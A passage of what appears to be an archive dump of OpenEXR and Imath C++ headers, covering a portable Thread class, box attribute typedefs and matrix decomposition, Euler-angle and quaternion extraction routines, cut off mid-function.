MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_ILM_THREAD_H #define INCLUDED_ILM_THREAD_H //----------------------------------------------------------------------------- // // class Thread // // Class Thread is a portable interface to a system-dependent thread // primitive. In order to make a thread actually do something useful, // you must derive a subclass from class Thread and implement the // run() function. If the operating system supports threading then // the run() function will be executed int a new thread. // // The actual creation of the thread is done by the start() routine // which then calls the run() function. In general the start() // routine should be called from the constructor of the derived class. // // The base-class thread destructor will join/destroy the thread. // // IMPORTANT: Due to the mechanisms that encapsulate the low-level // threading primitives in a C++ class there is a race condition // with code resembling the following: // // { // WorkerThread myThread; // } // myThread goes out of scope, is destroyed // // and the thread is joined // // The race is between the parent thread joining the child thread // in the destructor of myThread, and the run() function in the // child thread. If the destructor gets executed first then run() // will be called with an invalid "this" pointer. // // This issue can be fixed by using a Semaphore to keep track of // whether the run() function has already been called. You can // include a Semaphore member variable within your derived class // which you post() on in the run() function, and wait() on in the // destructor before the thread is joined. Alternatively you could // do something like this: // // Semaphore runStarted; // // void WorkerThread::run () // { // runStarted.post() // // do some work // ... // } // // { // WorkerThread myThread; // runStarted.wait (); // ensure that we have started // // the run function // } // myThread goes out of scope, is destroyed // // and the thread is joined // //----------------------------------------------------------------------------- #include "IlmBaseConfig.h" #include "IlmThreadExport.h" #include "IlmThreadNamespace.h" #if defined _WIN32 || defined _WIN64 #ifdef NOMINMAX #undef NOMINMAX #endif #define NOMINMAX #include <windows.h> #include <process.h> #elif HAVE_PTHREAD #include <pthread.h> #endif ILMTHREAD_INTERNAL_NAMESPACE_HEADER_ENTER // // Query function to determine if the current platform supports // threads AND this library was compiled with threading enabled. // ILMTHREAD_EXPORT bool supportsThreads (); class ILMTHREAD_EXPORT Thread { public: Thread (); virtual ~Thread (); void start (); virtual void run () = 0; private: #if defined _WIN32 || defined _WIN64 HANDLE _thread; #elif HAVE_PTHREAD pthread_t _thread; #endif void operator = (const Thread& t); // not implemented Thread (const Thread& t); // not implemented }; ILMTHREAD_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_ILM_THREAD_H OpenEXR/ImfBoxAttribute.h 0000644 00000006144 15246445047 0011265 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_BOX_ATTRIBUTE_H #define INCLUDED_IMF_BOX_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class Box2iAttribute // class Box2fAttribute // //----------------------------------------------------------------------------- #include "ImfForward.h" #include "ImfExport.h" #include "ImfAttribute.h" #include "ImathBox.h" #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<IMATH_NAMESPACE::Box2i> Box2iAttribute; template <> IMF_EXPORT const char *Box2iAttribute::staticTypeName (); template <> IMF_EXPORT void Box2iAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void Box2iAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); typedef TypedAttribute<IMATH_NAMESPACE::Box2f> Box2fAttribute; template <> IMF_EXPORT const char *Box2fAttribute::staticTypeName (); template <> IMF_EXPORT void Box2fAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void Box2fAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathMatrixAlgo.h 0000644 00000113740 15246445047 0011250 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHMATRIXALGO_H #define INCLUDED_IMATHMATRIXALGO_H //------------------------------------------------------------------------- // // This file contains algorithms applied to or in conjunction with // transformation matrices (Imath::Matrix33 and Imath::Matrix44). // The assumption made is that these functions are called much less // often than the basic point functions or these functions require // more support classes. // // This file also defines a few predefined constant matrices. // //------------------------------------------------------------------------- #include "ImathExport.h" #include "ImathMatrix.h" #include "ImathQuat.h" #include "ImathEuler.h" #include "ImathExc.h" #include "ImathVec.h" #include "ImathLimits.h" #include "ImathNamespace.h" #include <math.h> IMATH_INTERNAL_NAMESPACE_HEADER_ENTER //------------------ // Identity matrices //------------------ IMATH_EXPORT_CONST M33f identity33f; IMATH_EXPORT_CONST M44f identity44f; IMATH_EXPORT_CONST M33d identity33d; IMATH_EXPORT_CONST M44d identity44d; //---------------------------------------------------------------------- // Extract scale, shear, rotation, and translation values from a matrix: // // Notes: // // This implementation follows the technique described in the paper by // Spencer W. Thomas in the Graphics Gems II article: "Decomposing a // Matrix into Simple Transformations", p. 320. // // - Some of the functions below have an optional exc parameter // that determines the functions' behavior when the matrix' // scaling is very close to zero: // // If exc is true, the functions throw an Imath::ZeroScale exception. // // If exc is false: // // extractScaling (m, s) returns false, s is invalid // sansScaling (m) returns m // removeScaling (m) returns false, m is unchanged // sansScalingAndShear (m) returns m // removeScalingAndShear (m) returns false, m is unchanged // extractAndRemoveScalingAndShear (m, s, h) // returns false, m is unchanged, // (sh) are invalid // checkForZeroScaleInRow () returns false // extractSHRT (m, s, h, r, t) returns false, (shrt) are invalid // // - Functions extractEuler(), extractEulerXYZ() and extractEulerZYX() // assume that the matrix does not include shear or non-uniform scaling, // but they do not examine the matrix to verify this assumption. // Matrices with shear or non-uniform scaling are likely to produce // meaningless results. Therefore, you should use the // removeScalingAndShear() routine, if necessary, prior to calling // extractEuler...() . // // - All functions assume that the matrix does not include perspective // transformation(s), but they do not examine the matrix to verify // this assumption. Matrices with perspective transformations are // likely to produce meaningless results. // //---------------------------------------------------------------------- // // Declarations for 4x4 matrix. // template <class T> bool extractScaling (const Matrix44<T> &mat, Vec3<T> &scl, bool exc = true); template <class T> Matrix44<T> sansScaling (const Matrix44<T> &mat, bool exc = true); template <class T> bool removeScaling (Matrix44<T> &mat, bool exc = true); template <class T> bool extractScalingAndShear (const Matrix44<T> &mat, Vec3<T> &scl, Vec3<T> &shr, bool exc = true); template <class T> Matrix44<T> sansScalingAndShear (const Matrix44<T> &mat, bool exc = true); template <class T> void sansScalingAndShear (Matrix44<T> &result, const Matrix44<T> &mat, bool exc = true); template <class T> bool removeScalingAndShear (Matrix44<T> &mat, bool exc = true); template <class T> bool extractAndRemoveScalingAndShear (Matrix44<T> &mat, Vec3<T> &scl, Vec3<T> &shr, bool exc = true); template <class T> void extractEulerXYZ (const Matrix44<T> &mat, Vec3<T> &rot); template <class T> void extractEulerZYX (const Matrix44<T> &mat, Vec3<T> &rot); template <class T> Quat<T> extractQuat (const Matrix44<T> &mat); template <class T> bool extractSHRT (const Matrix44<T> &mat, Vec3<T> &s, Vec3<T> &h, Vec3<T> &r, Vec3<T> &t, bool exc /*= true*/, typename Euler<T>::Order rOrder); template <class T> bool extractSHRT (const Matrix44<T> &mat, Vec3<T> &s, Vec3<T> &h, Vec3<T> &r, Vec3<T> &t, bool exc = true); template <class T> bool extractSHRT (const Matrix44<T> &mat, Vec3<T> &s, Vec3<T> &h, Euler<T> &r, Vec3<T> &t, bool exc = true); // // Internal utility function. // template <class T> bool checkForZeroScaleInRow (const T &scl, const Vec3<T> &row, bool exc = true); template <class T> Matrix44<T> outerProduct ( const Vec4<T> &a, const Vec4<T> &b); // // Returns a matrix that rotates "fromDirection" vector to "toDirection" // vector. // template <class T> Matrix44<T> rotationMatrix (const Vec3<T> &fromDirection, const Vec3<T> &toDirection); // // Returns a matrix that rotates the "fromDir" vector // so that it points towards "toDir". You may also // specify that you want the up vector to be pointing // in a certain direction "upDir". // template <class T> Matrix44<T> rotationMatrixWithUpDir (const Vec3<T> &fromDir, const Vec3<T> &toDir, const Vec3<T> &upDir); // // Constructs a matrix that rotates the z-axis so that it // points towards "targetDir". You must also specify // that you want the up vector to be pointing in a // certain direction "upDir". // // Notes: The following degenerate cases are handled: // (a) when the directions given by "toDir" and "upDir" // are parallel or opposite; // (the direction vectors must have a non-zero cross product) // (b) when any of the given direction vectors have zero length // template <class T> void alignZAxisWithTargetDir (Matrix44<T> &result, Vec3<T> targetDir, Vec3<T> upDir); // Compute an orthonormal direct frame from : a position, an x axis direction and a normal to the y axis // If the x axis and normal are perpendicular, then the normal will have the same direction as the z axis. // Inputs are : // -the position of the frame // -the x axis direction of the frame // -a normal to the y axis of the frame // Return is the orthonormal frame template <class T> Matrix44<T> computeLocalFrame( const Vec3<T>& p, const Vec3<T>& xDir, const Vec3<T>& normal); // Add a translate/rotate/scale offset to an input frame // and put it in another frame of reference // Inputs are : // - input frame // - translate offset // - rotate offset in degrees // - scale offset // - frame of reference // Output is the offsetted frame template <class T> Matrix44<T> addOffset( const Matrix44<T>& inMat, const Vec3<T>& tOffset, const Vec3<T>& rOffset, const Vec3<T>& sOffset, const Vec3<T>& ref); // Compute Translate/Rotate/Scale matrix from matrix A with the Rotate/Scale of Matrix B // Inputs are : // -keepRotateA : if true keep rotate from matrix A, use B otherwise // -keepScaleA : if true keep scale from matrix A, use B otherwise // -Matrix A // -Matrix B // Return Matrix A with tweaked rotation/scale template <class T> Matrix44<T> computeRSMatrix( bool keepRotateA, bool keepScaleA, const Matrix44<T>& A, const Matrix44<T>& B); //---------------------------------------------------------------------- // // Declarations for 3x3 matrix. // template <class T> bool extractScaling (const Matrix33<T> &mat, Vec2<T> &scl, bool exc = true); template <class T> Matrix33<T> sansScaling (const Matrix33<T> &mat, bool exc = true); template <class T> bool removeScaling (Matrix33<T> &mat, bool exc = true); template <class T> bool extractScalingAndShear (const Matrix33<T> &mat, Vec2<T> &scl, T &h, bool exc = true); template <class T> Matrix33<T> sansScalingAndShear (const Matrix33<T> &mat, bool exc = true); template <class T> bool removeScalingAndShear (Matrix33<T> &mat, bool exc = true); template <class T> bool extractAndRemoveScalingAndShear (Matrix33<T> &mat, Vec2<T> &scl, T &shr, bool exc = true); template <class T> void extractEuler (const Matrix33<T> &mat, T &rot); template <class T> bool extractSHRT (const Matrix33<T> &mat, Vec2<T> &s, T &h, T &r, Vec2<T> &t, bool exc = true); template <class T> bool checkForZeroScaleInRow (const T &scl, const Vec2<T> &row, bool exc = true); template <class T> Matrix33<T> outerProduct ( const Vec3<T> &a, const Vec3<T> &b); //----------------------------------------------------------------------------- // Implementation for 4x4 Matrix //------------------------------ template <class T> bool extractScaling (const Matrix44<T> &mat, Vec3<T> &scl, bool exc) { Vec3<T> shr; Matrix44<T> M (mat); if (! extractAndRemoveScalingAndShear (M, scl, shr, exc)) return false; return true; } template <class T> Matrix44<T> sansScaling (const Matrix44<T> &mat, bool exc) { Vec3<T> scl; Vec3<T> shr; Vec3<T> rot; Vec3<T> tran; if (! extractSHRT (mat, scl, shr, rot, tran, exc)) return mat; Matrix44<T> M; M.translate (tran); M.rotate (rot); M.shear (shr); return M; } template <class T> bool removeScaling (Matrix44<T> &mat, bool exc) { Vec3<T> scl; Vec3<T> shr; Vec3<T> rot; Vec3<T> tran; if (! extractSHRT (mat, scl, shr, rot, tran, exc)) return false; mat.makeIdentity (); mat.translate (tran); mat.rotate (rot); mat.shear (shr); return true; } template <class T> bool extractScalingAndShear (const Matrix44<T> &mat, Vec3<T> &scl, Vec3<T> &shr, bool exc) { Matrix44<T> M (mat); if (! extractAndRemoveScalingAndShear (M, scl, shr, exc)) return false; return true; } template <class T> Matrix44<T> sansScalingAndShear (const Matrix44<T> &mat, bool exc) { Vec3<T> scl; Vec3<T> shr; Matrix44<T> M (mat); if (! extractAndRemoveScalingAndShear (M, scl, shr, exc)) return mat; return M; } template <class T> void sansScalingAndShear (Matrix44<T> &result, const Matrix44<T> &mat, bool exc) { Vec3<T> scl; Vec3<T> shr; if (! extractAndRemoveScalingAndShear (result, scl, shr, exc)) result = mat; } template <class T> bool removeScalingAndShear (Matrix44<T> &mat, bool exc) { Vec3<T> scl; Vec3<T> shr; if (! extractAndRemoveScalingAndShear (mat, scl, shr, exc)) return false; return true; } template <class T> bool extractAndRemoveScalingAndShear (Matrix44<T> &mat, Vec3<T> &scl, Vec3<T> &shr, bool exc) { // // This implementation follows the technique described in the paper by // Spencer W. Thomas in the Graphics Gems II article: "Decomposing a // Matrix into Simple Transformations", p. 320. // Vec3<T> row[3]; row[0] = Vec3<T> (mat[0][0], mat[0][1], mat[0][2]); row[1] = Vec3<T> (mat[1][0], mat[1][1], mat[1][2]); row[2] = Vec3<T> (mat[2][0], mat[2][1], mat[2][2]); T maxVal = 0; for (int i=0; i < 3; i++) for (int j=0; j < 3; j++) if (IMATH_INTERNAL_NAMESPACE::abs (row[i][j]) > maxVal) maxVal = IMATH_INTERNAL_NAMESPACE::abs (row[i][j]); // // We normalize the 3x3 matrix here. // It was noticed that this can improve numerical stability significantly, // especially when many of the upper 3x3 matrix's coefficients are very // close to zero; we correct for this step at the end by multiplying the // scaling factors by maxVal at the end (shear and rotation are not // affected by the normalization). if (maxVal != 0) { for (int i=0; i < 3; i++) if (! checkForZeroScaleInRow (maxVal, row[i], exc)) return false; else row[i] /= maxVal; } // Compute X scale factor. scl.x = row[0].length (); if (! checkForZeroScaleInRow (scl.x, row[0], exc)) return false; // Normalize first row. row[0] /= scl.x; // An XY shear factor will shear the X coord. as the Y coord. changes. // There are 6 combinations (XY, XZ, YZ, YX, ZX, ZY), although we only // extract the first 3 because we can effect the last 3 by shearing in // XY, XZ, YZ combined rotations and scales. // // shear matrix < 1, YX, ZX, 0, // XY, 1, ZY, 0, // XZ, YZ, 1, 0, // 0, 0, 0, 1 > // Compute XY shear factor and make 2nd row orthogonal to 1st. shr[0] = row[0].dot (row[1]); row[1] -= shr[0] * row[0]; // Now, compute Y scale. scl.y = row[1].length (); if (! checkForZeroScaleInRow (scl.y, row[1], exc)) return false; // Normalize 2nd row and correct the XY shear factor for Y scaling. row[1] /= scl.y; shr[0] /= scl.y; // Compute XZ and YZ shears, orthogonalize 3rd row. shr[1] = row[0].dot (row[2]); row[2] -= shr[1] * row[0]; shr[2] = row[1].dot (row[2]); row[2] -= shr[2] * row[1]; // Next, get Z scale. scl.z = row[2].length (); if (! checkForZeroScaleInRow (scl.z, row[2], exc)) return false; // Normalize 3rd row and correct the XZ and YZ shear factors for Z scaling. row[2] /= scl.z; shr[1] /= scl.z; shr[2] /= scl.z; // At this point, the upper 3x3 matrix in mat is orthonormal. // Check for a coordinate system flip. If the determinant // is less than zero, then negate the matrix and the scaling factors. if (row[0].dot (row[1].cross (row[2])) < 0) for (int i=0; i < 3; i++) { scl[i] *= -1; row[i] *= -1; } // Copy over the orthonormal rows into the returned matrix. // The upper 3x3 matrix in mat is now a rotation matrix. for (int i=0; i < 3; i++) { mat[i][0] = row[i][0]; mat[i][1] = row[i][1]; mat[i][2] = row[i][2]; } // Correct the scaling factors for the normalization step that we // performed above; shear and rotation are not affected by the // normalization. scl *= maxVal; return true; } template <class T> void extractEulerXYZ (const Matrix44<T> &mat, Vec3<T> &rot) { // // Normalize the local x, y and z axes to remove scaling. // Vec3<T> i (mat[0][0], mat[0][1], mat[0][2]); Vec3<T> j (mat[1][0], mat[1][1], mat[1][2]); Vec3<T> k (mat[2][0], mat[2][1], mat[2][2]); i.normalize(); j.normalize(); k.normalize(); Matrix44<T> M (i[0], i[1], i[2], 0, j[0], j[1], j[2], 0, k[0], k[1], k[2], 0, 0, 0, 0, 1); // // Extract the first angle, rot.x. // rot.x = Math<T>::atan2 (M[1][2], M[2][2]); // // Remove the rot.x rotation from M, so that the remaining // rotation, N, is only around two axes, and gimbal lock // cannot occur. // Matrix44<T> N; N.rotate (Vec3<T> (-rot.x, 0, 0)); N = N * M; // // Extract the other two angles, rot.y and rot.z, from N. // T cy = Math<T>::sqrt (N[0][0]*N[0][0] + N[0][1]*N[0][1]); rot.y = Math<T>::atan2 (-N[0][2], cy); rot.z = Math<T>::atan2 (-N[1][0], N[1][1]); } template <class T> void extractEulerZYX (const Matrix44<T> &mat, Vec3<T> &rot) { // // Normalize the local x, y and z axes to remove scaling. // Vec3<T> i (mat[0][0], mat[0][1], mat[0][2]); Vec3<T> j (mat[1][0], mat[1][1], mat[1][2]); Vec3<T> k (mat[2][0], mat[2][1], mat[2][2]); i.normalize(); j.normalize(); k.normalize(); Matrix44<T> M (i[0], i[1], i[2], 0, j[0], j[1], j[2], 0, k[0], k[1], k[2], 0, 0, 0, 0, 1); // // Extract the first angle, rot.x. // rot.x = -Math<T>::atan2 (M[1][0], M[0][0]); // // Remove the x rotation from M, so that the remaining // rotation, N, is only around two axes, and gimbal lock // cannot occur. // Matrix44<T> N; N.rotate (Vec3<T> (0, 0, -rot.x)); N = N * M; // // Extract the other two angles, rot.y and rot.z, from N. // T cy = Math<T>::sqrt (N[2][2]*N[2][2] + N[2][1]*N[2][1]); rot.y = -Math<T>::atan2 (-N[2][0], cy); rot.z = -Math<T>::atan2 (-N[1][2], N[1][1]); } template <class T> Quat<T> extractQuat (const Matrix44<T> &mat) { Matrix44<T> rot; T tr, s; T q[4]; int i, j, k; Quat<T> quat; int nxt[3] = {1, 2, 0}; tr = mat[0][0] + mat[1][1] + mat[2][2]; // check the diagonal if (tr > 0.0) { s = Math<T>::sqrt (tr + T(1.0)); quat.r = s / T(2.0); s = T(0.5) / s; quat.v.x = (mat[1][2] - mat[2][1]) * s; quat.v.y = (mat[2][0] - mat[0][2]) * s; quat.v.z = (mat[0][1] - mat[1][0]) * s; } else { // diagonal is negative i = 0; if (mat[1][1] > mat[0][0]) i=1; if (mat[2][2] > mat[i][i]) i=2; j = nxt[i]; k = nxt[j]; s = Math<T>::sqrt ((mat[i][i] - (mat[j][j] + mat[k][k])) + T(1.0)); q[i] = s * T(0.5); if (s != T(0.0)) s = T(0.5) / s; q[3] = (mat[j][k] - mat[k][j]) * s; q[j] = (mat[i][j] + mat[j][i]) * s; q[k] = (mat[i][k] + mat[k][i]) * s; quat.v.x = q[0]; quat.v.y = q[1]; quat.v.z = q[2]; quat.r = q[3]; } return quat; } template <class T> bool extractSHRT (const Matrix44<T> &mat, Vec3<T> &s, Vec3<T> &h, Vec3<T> &r, Vec3<T> &t, bool exc /* = true */ , typename Euler<T>::Order rOrder /* = Euler<T>::XYZ */ ) { Matrix44<T> rot; rot = mat; if (! extractAndRemoveScalingAndShear (rot, s, h, exc)) return false; extractEulerXYZ (rot, r); t.x = mat[3][0]; t.y = mat[3][1]; t.z = mat[3][2]; if (rOrder != Euler<T>::XYZ) { IMATH_INTERNAL_NAMESPACE::Euler<T> eXYZ (r, IMATH_INTERNAL_NAMESPACE::Euler<T>::XYZ); IMATH_INTERNAL_NAMESPACE::Euler<T> e (eXYZ, rOrder); r = e.toXYZVector (); } return true; } template <class T> bool extractSHRT (const Matrix44<T> &mat, Vec3<T> &s, Vec3<T> &h, Vec3<T> &r, Vec3<T> &t, bool exc) { return extractSHRT(mat, s, h, r, t, exc, IMATH_INTERNAL_NAMESPACE::Euler<T>::XYZ); } template <class T> bool extractSHRT (const Matrix44<T> &mat, Vec3<T> &s, Vec3<T> &h, Euler<T> &r, Vec3<T> &t, bool exc /* = true */) { return extractSHRT (mat, s, h, r, t, exc, r.order ()); } template <class T> bool checkForZeroScaleInRow (const T& scl, const Vec3<T> &row, bool exc /* = true */ ) { for (int i = 0; i < 3; i++) { if ((abs (scl) < 1 && abs (row[i]) >= limits<T>::max() * abs (scl))) { if (exc) throw IMATH_INTERNAL_NAMESPACE::ZeroScaleExc ("Cannot remove zero scaling " "from matrix."); else return false; } } return true; } template <class T> Matrix44<T> outerProduct (const Vec4<T> &a, const Vec4<T> &b ) { return Matrix44<T> (a.x*b.x, a.x*b.y, a.x*b.z, a.x*b.w, a.y*b.x, a.y*b.y, a.y*b.z, a.x*b.w, a.z*b.x, a.z*b.y, a.z*b.z, a.x*b.w, a.w*b.x, a.w*b.y, a.w*b.z, a.w*b.w); } template <class T> Matrix44<T> rotationMatrix (const Vec3<T> &from, const Vec3<T> &to) { Quat<T> q; q.setRotation(from, to); return q.toMatrix44(); } template <class T> Matrix44<T> rotationMatrixWithUpDir (const Vec3<T> &fromDir, const Vec3<T> &toDir, const Vec3<T> &upDir) { // // The goal is to obtain a rotation matrix that takes // "fromDir" to "toDir". We do this in two steps and // compose the resulting rotation matrices; // (a) rotate "fromDir" into the z-axis // (b) rotate the z-axis into "toDir" // // The from direction must be non-zero; but we allow zero to and up dirs. if (fromDir.length () == 0) return Matrix44<T> (); else { Matrix44<T> zAxis2FromDir( IMATH_INTERNAL_NAMESPACE::UNINITIALIZED ); alignZAxisWithTargetDir (zAxis2FromDir, fromDir, Vec3<T> (0, 1, 0)); Matrix44<T> fromDir2zAxis = zAxis2FromDir.transposed (); Matrix44<T> zAxis2ToDir( IMATH_INTERNAL_NAMESPACE::UNINITIALIZED ); alignZAxisWithTargetDir (zAxis2ToDir, toDir, upDir); return fromDir2zAxis * zAxis2ToDir; } } template <class T> void alignZAxisWithTargetDir (Matrix44<T> &result, Vec3<T> targetDir, Vec3<T> upDir) { // // Ensure that the target direction is non-zero. // if ( targetDir.length () == 0 ) targetDir = Vec3<T> (0, 0, 1); // // Ensure that the up direction is non-zero. // if ( upDir.length () == 0 ) upDir = Vec3<T> (0, 1, 0); // // Check for degeneracies. If the upDir and targetDir are parallel // or opposite, then compute a new, arbitrary up direction that is // not parallel or opposite to the targetDir. // if (upDir.cross (targetDir).length () == 0) { upDir = targetDir.cross (Vec3<T> (1, 0, 0)); if (upDir.length() == 0) upDir = targetDir.cross(Vec3<T> (0, 0, 1)); } // // Compute the x-, y-, and z-axis vectors of the new coordinate system. // Vec3<T> targetPerpDir = upDir.cross (targetDir); Vec3<T> targetUpDir = targetDir.cross (targetPerpDir); // // Rotate the x-axis into targetPerpDir (row 0), // rotate the y-axis into targetUpDir (row 1), // rotate the z-axis into targetDir (row 2). // Vec3<T> row[3]; row[0] = targetPerpDir.normalized (); row[1] = targetUpDir .normalized (); row[2] = targetDir .normalized (); result.x[0][0] = row[0][0]; result.x[0][1] = row[0][1]; result.x[0][2] = row[0][2]; result.x[0][3] = (T)0; result.x[1][0] = row[1][0]; result.x[1][1] = row[1][1]; result.x[1][2] = row[1][2]; result.x[1][3] = (T)0; result.x[2][0] = row[2][0]; result.x[2][1] = row[2][1]; result.x[2][2] = row[2][2]; result.x[2][3] = (T)0; result.x[3][0] = (T)0; result.x[3][1] = (T)0; result.x[3][2] = (T)0; result.x[3][3] = (T)1; } // Compute an orthonormal direct frame from : a position, an x axis direction and a normal to the y axis // If the x axis and normal are perpendicular, then the normal will have the same direction as the z axis. // Inputs are : // -the position of the frame // -the x axis direction of the frame // -a normal to the y axis of the frame // Return is the orthonormal frame template <class T> Matrix44<T> computeLocalFrame( const Vec3<T>& p, const Vec3<T>& xDir, const Vec3<T>& normal) { Vec3<T> _xDir(xDir); Vec3<T> x = _xDir.normalize(); Vec3<T> y = (normal % x).normalize(); Vec3<T> z = (x % y).normalize(); Matrix44<T> L; L[0][0] = x[0]; L[0][1] = x[1]; L[0][2] = x[2]; L[0][3] = 0.0; L[1][0] = y[0]; L[1][1] = y[1]; L[1][2] = y[2]; L[1][3] = 0.0; L[2][0] = z[0]; L[2][1] = z[1]; L[2][2] = z[2]; L[2][3] = 0.0; L[3][0] = p[0]; L[3][1] = p[1]; L[3][2] = p[2]; L[3][3] = 1.0; return L; } // Add a translate/rotate/scale offset to an input frame // and put it in another frame of reference // Inputs are : // - input frame // - translate offset // - rotate offset in degrees // - scale offset // - frame of reference // Output is the offsetted frame template <class T> Matrix44<T> addOffset( const Matrix44<T>& inMat, const Vec3<T>& tOffset, const Vec3<T>& rOffset, const Vec3<T>& sOffset, const Matrix44<T>& ref) { Matrix44<T> O; Vec3<T> _rOffset(rOffset); _rOffset *= M_PI / 180.0; O.rotate (_rOffset); O[3][0] = tOffset[0]; O[3][1] = tOffset[1]; O[3][2] = tOffset[2]; Matrix44<T> S; S.scale (sOffset); Matrix44<T> X = S * O * inMat * ref; return X; } // Compute Translate/Rotate/Scale matrix from matrix A with the Rotate/Scale of Matrix B // Inputs are : // -keepRotateA : if true keep rotate from matrix A, use B otherwise // -keepScaleA : if true keep scale from matrix A, use B otherwise // -Matrix A // -Matrix B // Return Matrix A with tweaked rotation/scale template <class T> Matrix44<T> computeRSMatrix( bool keepRotateA, bool keepScaleA, const Matrix44<T>& A, const Matrix44<T>& B) { Vec3<T> as, ah, ar, at; extractSHRT (A, as, ah, ar, at); Vec3<T> bs, bh, br, bt; extractSHRT (B, bs, bh, br, bt); if (!keepRotateA) ar = br; if (!keepScaleA) as = bs; Matrix44<T> mat; mat.makeIdentity(); mat.translate (at); mat.rotate (ar); mat.scale (as); return mat; } //----------------------------------------------------------------------------- // Implementation for 3x3 Matrix //------------------------------ template <class T> bool extractScaling (const Matrix33<T> &mat, Vec2<T> &scl, bool exc) { T shr; Matrix33<T> M (mat); if (! extractAndRemoveScalingAndShear (M, scl, shr, exc)) return false; return true; } template <class T> Matrix33<T> sansScaling (const Matrix33<T> &mat, bool exc) { Vec2<T> scl; T shr; T rot; Vec2<T> tran; if (! extractSHRT (mat, scl, shr, rot, tran, exc)) return mat; Matrix33<T> M; M.translate (tran); M.rotate (rot); M.shear (shr); return M; } template <class T> bool removeScaling (Matrix33<T> &mat, bool exc) { Vec2<T> scl; T shr; T rot; Vec2<T> tran; if (! extractSHRT (mat, scl, shr, rot, tran, exc)) return false; mat.makeIdentity (); mat.translate (tran); mat.rotate (rot); mat.shear (shr); return true; } template <class T> bool extractScalingAndShear (const Matrix33<T> &mat, Vec2<T> &scl, T &shr, bool exc) { Matrix33<T> M (mat); if (! extractAndRemoveScalingAndShear (M, scl, shr, exc)) return false; return true; } template <class T> Matrix33<T> sansScalingAndShear (const Matrix33<T> &mat, bool exc) { Vec2<T> scl; T shr; Matrix33<T> M (mat); if (! 